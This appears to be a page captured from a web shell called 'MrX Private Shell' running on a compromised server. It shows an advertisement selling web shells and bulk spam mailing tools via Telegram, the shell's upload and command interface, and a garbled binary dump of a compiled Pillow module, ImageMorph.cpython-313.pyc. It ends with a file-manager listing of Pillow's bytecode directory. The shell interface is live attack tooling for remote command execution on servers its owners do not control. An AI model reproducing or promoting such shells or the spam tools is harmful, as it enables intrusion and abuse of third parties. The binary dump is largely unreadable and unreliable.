__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

"%vgs!��d�SSKJr SSKrSSKJrJr Sr/SQr/SQr"SS	5r	"S
S5r
g)�)�annotationsN�)�Image�
_imagingmorphi)	��r��r���)	r
rrrr
rrr	rc�~�\rSrSrSrSS
SjjrSSjrSSjrSSjrSSjr	SS	jr
SS
jrSrg)�
LutBuilder�a�A class for building a MorphLut from a descriptive language

The input patterns is a list of a strings sequences like these::

    4:(...
       .1.
       111)->1

(whitespaces including linebreaks are ignored). The option 4
describes a series of symmetry operations (in this case a
4-rotation), the pattern is described by:

- . or X - Ignore
- 1 - Pixel is on
- 0 - Pixel is off

The result of the operation is described after "->" string.

The default is to return the current pixel value, which is
returned if no other match is found.

Operations:

- 4 - 4 way rotation
- N - Negate
- 1 - Dummy op for no other operation (an op must always be given)
- M - Mirroring

Example::

    lb = LutBuilder(patterns = ["4:(... .1. 111)->1"])
    lut = lb.build_lut()

Nc��UbXlO/UlSUlUb3SS/S/SS/S/SS//SQS.nX#;aS	US
3n[U5eX2Ulgg)N�1:(... ... ...)->0z4:(00. 01. ...)->1z4:(... .0. .1.)->1z4:(... .0. ..1)->1z4:(... .1. .0.)->0z4:(... .1. ..0)->0)rz4:(.0. .1. ...)->1z4:(01. .1. ...)->1)�corner�	dilation4�	dilation8�erosion4�erosion8�edgezUnknown pattern �!)�patterns�lut�	Exception)�selfr�op_name�known_patterns�msgs     �0/usr/lib/python3/dist-packages/PIL/ImageMorph.py�__init__�LutBuilder.__init__As�����$�M��D�M�%)�����/�1E�F�2�3�2�4H�I�1�2�1�3G�H��
�N��,�(��	��3����n�$�*�3�D�M�#�c�.�U=RU-
slg�N�r)rrs  r!�add_patterns�LutBuilder.add_patterns\s���
�
��!�
r$c�d^^�SS/mSm[UU4Sj[[555Ulg)Nrr�c3�:># �UHnTUT-S:�v� M g7f)rN�)�.0�i�m�symbolss  ��r!�	<genexpr>�/LutBuilder.build_default_lut.<locals>.<genexpr>bs����K�?�a�W�a�!�e�q�[�1�?�s�)�	bytearray�range�LUT_SIZEr)rr0r1s @@r!�build_default_lut�LutBuilder.build_default_lut_s'����a�&�����K�5��?�K�K��r$c��UR$r&�r)rs r!�get_lut�LutBuilder.get_lutds���x�x�r$c�\^�[U5S:XdeSRU4SjU55$)ztstring_permute takes a pattern and a permutation and returns the
string permuted according to the permutation list.
�	�c3�.># �UH
nTUv� M g7fr&r-)r.�p�patterns  �r!r2�-LutBuilder._string_permute.<locals>.<genexpr>ls����7�;�a�w�q�z�;�s�)�len�join)rrB�permutations ` r!�_string_permute�LutBuilder._string_permutegs-����;��1�$�$�$��w�w�7�;�7�7�7r$c��X4/nSU;aGUSSn[S5H0nURURUSS[5U45 M2 SU;a@[	U5nUSUH,up�URURU[
5U45 M. SU;ak[	U5nUSUHWup�UR
S	S
5R
SS	5R
S
S5nS[U5-
nURX�45 MY U$)z�pattern_permute takes a basic pattern and its result and clones
the pattern according to the modifications described in the $options
parameter. It returns a list of all cloned patterns.�4���rr
r�MN�N�0�Z�1)r5�appendrG�ROTATION_MATRIXrD�
MIRROR_MATRIX�replace�int)	r�
basic_pattern�options�basic_resultr�resr/�nrBs	         r!�_pattern_permute�LutBuilder._pattern_permutens��#�1�2���'�>��2�,�q�/�C��1�X������)�)�(�2�,�q�/�?�K�S�Q���
�'�>��H�
�A� (��!��������!5�!5�g�}�!M�s� S�T�!-��'�>��H�
�A� (��!����!�/�/�#�s�3�;�;�C��E�M�M�c�SV�W���#�c�(�l�������/�	!-��r$c��UR5 URce/nURH�n[R"SURSS55nU(dSU-S-n[
U5eURS5nURS5n[URS	55nURS
S5RSS5nXRXeU5-
nM� /nUHRnUSRSS
5RS
S5nUR[R"U5US45 MT [[5Hbn	[U	5SSn
SS[U
5-
-U
-SSS2n
UH1upkUR!U
5(dMSS/UURU	'M3 Md UR$)z\Compile all patterns into a morphology lut.

TBD :Build based on (file) morphlut:modify_lut
Nz(\w*):?\s*\((.+?)\)\s*->\s*(\d)�
r?zSyntax error in pattern "�"rr
r� r�.�Xz[01]rNr>rK)r7rr�re�searchrTr�grouprUr[rQ�compiler5r6�binrD�match)rrrAr0r rWrB�result�compiled_patternsr/�
bitpattern�rs            r!�	build_lut�LutBuilder.build_lut�s���
	
��� ��x�x�#�#�#������A��	�	�<�a�i�i��b�>Q�R�A��1�A�5��;����n�$��g�g�a�j�G��g�g�a�j�G�������_�F��o�o�c�2�.�6�6�t�R�@�G��-�-�g��G�G�H�����G���
�"�"�3��,�4�4�S�&�A�A��$�$�b�j�j��m�W�Q�Z�%@�A� ��x��A��Q�����J���S��_�!4�5�
�B�D�b�D�I�J�/�
���=�=��,�,�#$�a�&��)�D�H�H�Q�K�0�!��x�x�r$)rr)NN)r�list[str] | Noner�
str | None�return�None)rz	list[str]rqrr)rqrr)rq�bytearray | None)rB�strrFz	list[int]rqrt)rVrtrWrtrXrUrqzlist[tuple[str, int]])rqr4)
�__name__�
__module__�__qualname__�__firstlineno__�__doc__r"r(r7r;rGr[rm�__static_attributes__r-r$r!rrsl��!�HHL�4�(�4�:D�4�	
�4�6"�L�
�8�� ��+.��>A��	��@*r$rc�v�\rSrSrSrSS
SjjrSSjrSSjrSSjrSSjr	SS	jr
SS
jrSrg)�MorphOp�z*A class for binary morphological operatorsNc��XlUb[US9R5UlgUb[US9R5Ulgg)z&Create a binary morphological operatorN)rr')rrrm)rrrrs    r!r"�MorphOp.__init__�sD������!�'�2�<�<�>�D�H�
�
!�!�8�4�>�>�@�D�H�"r$c�\�URc
Sn[U5eURS:wa
Sn[U5e[R
"URURS5n[R"[UR5UR5UR55nXC4$)zwRun a single morphological operation on an image

Returns a tuple of the number of changed pixels and the
morphed imageN�No operator loaded�L�Image mode must be L)rr�mode�
ValueErrorr�new�sizer�apply�bytes�getim)r�imager �outimage�counts     r!r��
MorphOp.apply�s���
�8�8��&�C��C�.� ��:�:���(�C��S�/�!��9�9�U�Z�Z����T�:���#�#�E�$�(�(�O�U�[�[�]�H�N�N�DT�U����r$c���URc
Sn[U5eURS:wa
Sn[U5e[R
"[
UR5UR55$)z�Get a list of coordinates matching the morphological operation on
an image.

Returns a list of tuples of (x,y) coordinates
of all matching pixels. See :ref:`coordinate-system`.r�r�r�)rrr�r�rrhr�r��rr�r s   r!rh�
MorphOp.match�sY���8�8��&�C��C�.� ��:�:���(�C��S�/�!��"�"�5����?�E�K�K�M�B�Br$c��URS:wa
Sn[U5e[R"UR	55$)z�Get a list of all turned on pixels in a binary image

Returns a list of tuples of (x,y) coordinates
of all matching pixels. See :ref:`coordinate-system`.r�r�)r�r�r�
get_on_pixelsr�r�s   r!r��MorphOp.get_on_pixels�s6���:�:���(�C��S�/�!��*�*�5�;�;�=�9�9r$c���[US5n[UR55UlSSS5 [	UR5[
:waSUlSn[
U5eg!,(df   N@=f)z!Load an operator from an mrl file�rbNzWrong size operator file!)�openr4�readrrDr6r)r�filename�fr s    r!�load_lut�MorphOp.load_lut�s[��
�(�D�
!�Q� �����*�D�H�"��t�x�x�=�H�$��D�H�-�C��C�.� �%�"�
!�s�A&�&
A4c��URc
Sn[U5e[US5nURUR5 SSS5 g!,(df   g=f)zSave an operator to an mrl fileNr��wb)rrr��write)rr�r r�s    r!�save_lut�MorphOp.save_lut�sC���8�8��&�C��C�.� �
�(�D�
!�Q�
�G�G�D�H�H��"�
!�
!�s�A�
Ac��Xlg)z#Set the lut from an external sourceNr:)rrs  r!�set_lut�MorphOp.set_luts���r$r:)NNN)rrsrrprrorqrr)r��Image.Imagerqztuple[int, Image.Image])r�r�rqzlist[tuple[int, int]])r�rtrqrr)rrsrqrr)
rurvrwrxryr"r�rhr�r�r�r�rzr-r$r!r|r|�s_��4�!%�"�%)�	A�
�A��A�#�	A�

�A�� 
C�	:�!��r$r|)�
__future__rrcr?rrr6rRrSrr|r-r$r!�<module>r�s<��#�	�"�����
�
�[�[�|N�Nr$

Filemanager

Name Type Size Permission Actions
BdfFontFile.cpython-313.pyc File 4.28 KB 0644
BlpImagePlugin.cpython-313.pyc File 23.93 KB 0644
BmpImagePlugin.cpython-313.pyc File 17.97 KB 0644
BufrStubImagePlugin.cpython-313.pyc File 2.68 KB 0644
ContainerIO.cpython-313.pyc File 6.72 KB 0644
CurImagePlugin.cpython-313.pyc File 2.37 KB 0644
DcxImagePlugin.cpython-313.pyc File 2.73 KB 0644
DdsImagePlugin.cpython-313.pyc File 22.58 KB 0644
EpsImagePlugin.cpython-313.pyc File 15.76 KB 0644
ExifTags.cpython-313.pyc File 11.43 KB 0644
FitsImagePlugin.cpython-313.pyc File 6.06 KB 0644
FliImagePlugin.cpython-313.pyc File 6.76 KB 0644
FontFile.cpython-313.pyc File 4.45 KB 0644
FpxImagePlugin.cpython-313.pyc File 7.66 KB 0644
FtexImagePlugin.cpython-313.pyc File 5.25 KB 0644
GbrImagePlugin.cpython-313.pyc File 3.68 KB 0644
GdImageFile.cpython-313.pyc File 3.35 KB 0644
GifImagePlugin.cpython-313.pyc File 44.88 KB 0644
GimpGradientFile.cpython-313.pyc File 5.35 KB 0644
GimpPaletteFile.cpython-313.pyc File 2.12 KB 0644
GribStubImagePlugin.cpython-313.pyc File 2.68 KB 0644
Hdf5StubImagePlugin.cpython-313.pyc File 2.65 KB 0644
IcnsImagePlugin.cpython-313.pyc File 17 KB 0644
IcoImagePlugin.cpython-313.pyc File 14.92 KB 0644
ImImagePlugin.cpython-313.pyc File 12.76 KB 0644
Image.cpython-313.pyc File 165.73 KB 0644
ImageChops.cpython-313.pyc File 10.63 KB 0644
ImageCms.cpython-313.pyc File 42.28 KB 0644
ImageColor.cpython-313.pyc File 12.22 KB 0644
ImageDraw.cpython-313.pyc File 43.5 KB 0644
ImageDraw2.cpython-313.pyc File 9.43 KB 0644
ImageEnhance.cpython-313.pyc File 5.28 KB 0644
ImageFile.cpython-313.pyc File 30.8 KB 0644
ImageFilter.cpython-313.pyc File 22.79 KB 0644
ImageFont.cpython-313.pyc File 65.84 KB 0644
ImageGrab.cpython-313.pyc File 6.56 KB 0644
ImageMath.cpython-313.pyc File 15.95 KB 0644
ImageMode.cpython-313.pyc File 2.75 KB 0644
ImageMorph.cpython-313.pyc File 11.03 KB 0644
ImageOps.cpython-313.pyc File 28.21 KB 0644
ImagePalette.cpython-313.pyc File 12.04 KB 0644
ImagePath.cpython-313.pyc File 306 B 0644
ImageQt.cpython-313.pyc File 8.46 KB 0644
ImageSequence.cpython-313.pyc File 3.33 KB 0644
ImageShow.cpython-313.pyc File 13.72 KB 0644
ImageStat.cpython-313.pyc File 7.13 KB 0644
ImageTransform.cpython-313.pyc File 5.19 KB 0644
ImageWin.cpython-313.pyc File 11.44 KB 0644
ImtImagePlugin.cpython-313.pyc File 2.55 KB 0644
IptcImagePlugin.cpython-313.pyc File 8.91 KB 0644
Jpeg2KImagePlugin.cpython-313.pyc File 18.34 KB 0644
JpegImagePlugin.cpython-313.pyc File 33.72 KB 0644
JpegPresets.cpython-313.pyc File 7.9 KB 0644
McIdasImagePlugin.cpython-313.pyc File 2.23 KB 0644
MicImagePlugin.cpython-313.pyc File 3.85 KB 0644
MpegImagePlugin.cpython-313.pyc File 3.68 KB 0644
MpoImagePlugin.cpython-313.pyc File 8.04 KB 0644
MspImagePlugin.cpython-313.pyc File 5.87 KB 0644
PSDraw.cpython-313.pyc File 7.67 KB 0644
PaletteFile.cpython-313.pyc File 1.9 KB 0644
PalmImagePlugin.cpython-313.pyc File 9.46 KB 0644
PcdImagePlugin.cpython-313.pyc File 2.05 KB 0644
PcfFontFile.cpython-313.pyc File 9.68 KB 0644
PcxImagePlugin.cpython-313.pyc File 7.27 KB 0644
PdfImagePlugin.cpython-313.pyc File 9.64 KB 0644
PdfParser.cpython-313.pyc File 52.78 KB 0644
PixarImagePlugin.cpython-313.pyc File 1.94 KB 0644
PngImagePlugin.cpython-313.pyc File 61.98 KB 0644
PpmImagePlugin.cpython-313.pyc File 14.13 KB 0644
PsdImagePlugin.cpython-313.pyc File 10.81 KB 0644
QoiImagePlugin.cpython-313.pyc File 6.02 KB 0644
SgiImagePlugin.cpython-313.pyc File 8.37 KB 0644
SpiderImagePlugin.cpython-313.pyc File 12.27 KB 0644
SunImagePlugin.cpython-313.pyc File 3.42 KB 0644
TarIO.cpython-313.pyc File 1.86 KB 0644
TgaImagePlugin.cpython-313.pyc File 8.11 KB 0644
TiffImagePlugin.cpython-313.pyc File 99.07 KB 0644
TiffTags.cpython-313.pyc File 18.43 KB 0644
WalImageFile.cpython-313.pyc File 4.01 KB 0644
WebPImagePlugin.cpython-313.pyc File 13.27 KB 0644
WmfImagePlugin.cpython-313.pyc File 6.19 KB 0644
XVThumbImagePlugin.cpython-313.pyc File 2.61 KB 0644
XbmImagePlugin.cpython-313.pyc File 4.05 KB 0644
XpmImagePlugin.cpython-313.pyc File 4.2 KB 0644
__init__.cpython-313.pyc File 1.98 KB 0644
__main__.cpython-313.pyc File 346 B 0644
_binary.cpython-313.pyc File 3.24 KB 0644
_deprecate.cpython-313.pyc File 2.37 KB 0644
_tkinter_finder.cpython-313.pyc File 745 B 0644
_typing.cpython-313.pyc File 2.14 KB 0644
_util.cpython-313.pyc File 1.5 KB 0644
_version.cpython-313.pyc File 222 B 0644
features.cpython-313.pyc File 13.58 KB 0644
report.cpython-313.pyc File 278 B 0644
Filemanager